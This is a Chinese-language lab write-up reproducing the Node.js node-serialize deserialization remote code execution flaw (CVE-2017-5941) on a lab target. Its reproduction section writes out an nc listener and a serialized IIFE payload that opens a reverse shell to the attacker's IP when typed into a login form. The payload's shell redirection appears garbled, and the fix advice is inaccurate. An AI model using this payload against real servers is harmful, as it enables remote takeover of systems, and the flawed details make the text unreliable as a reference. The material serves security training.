2 Node.js 反序列化漏洞遠程執行代碼(CVE-2017-5941)
2.1 摘要
2.1.1 漏洞介紹
- 漏洞名稱: Exploiting Node.js deserialization bug for Remote Code Execution
- 漏洞CVE id: CVE-2017-594
- 漏洞類型: 代碼執行
- Node.js存在反序列化遠程代碼執行漏洞,若不可信的數據傳入
unserrialize()函數,通過傳遞立即調用函數表達式(IIFE)的JavaScript對象可以實現任意代碼執行。並且Node.js服務端必須存在接收序列的數據接口
2.1.2 漏洞環境
- 操作機:Kali Linux
- 目標機:CentOS 6.5
2.1.3 實驗工具
- exp.txt:利用nodejs代碼執行的代碼文件。
2.2 漏洞復現
-
首先訪問目標機器http://172.16.12.2可以看到一個存在node.js漏洞的登錄界面。

-
使用nc監聽本地端口,用於接收漏洞環境的反彈Shell. nc -lv -p 8080 即監聽本機8080端口

-
准備反序列化代碼:
_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}(),修改里面的,修改為本機IP和NC監聽的端口號: _$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <172.16.11.2> <8080> 0<backpipe | /bin/bash ]>backpipe')}(),修改后復制該代碼,去嘗試到登錄界面利用。
-
用戶名任意輸入,將修改好的反序列化代碼復制到密碼框點擊登錄即可。
點擊登錄后,如下圖所示:利用成功。

-
已經反彈回一個shell,並且權限為root。

2.3 漏洞分析
-
使用0.0.4版本的node-serialize進行研究,成功利用的話,不可信輸入傳遞到 unserialize()的時候可以執行任意代碼。創建Payload最好使用同一模塊的serialize()函數。 創建以下 JavaScript 對象,將其傳入 serialize() 函數。

-
運行后得到以下輸出:

-
得到序列化的字符串,可以通過unserialize()函數進行反序列化,但問題是代碼執行不會發生,直到觸發對應於對象的rce屬性的函數。可以使用JavaScript的立即調用函數表達式(IIFE)來調用該函數。如果在函數體之后使用括號(),當對象被創建時,函數將被調用。 它的工作方式類似於C ++中的類構造函數。現在修改過的代碼經 serialize() 函數馬上會被調用。

-
運行后得到以下輸出:

-
成功執行,那么就有了下面的 exploit:

-
將其傳入unserialize() 函數,觸發代碼執行。

-
運行后得到以下輸出:

2.4 修復方案
- 更新到官方最新版本:https://nodejs.org/en/download/
2.5 思考總結
- 本實踐實現了Node.js 反序列化漏洞遠程執行代碼的復現,並對漏洞原理進行了詳細的分析。該漏洞本質上是構造Payload傳入unserrialize()函數進行反序列化:使用JavaScript的立即調用函數表達式(IIFE),當對象被創建時,將 該JavaScript 對象傳入 serialize() 函數,輸出exploit將其傳入unserialize() 函數,可以實現任意代碼執行。危害不容小覷。
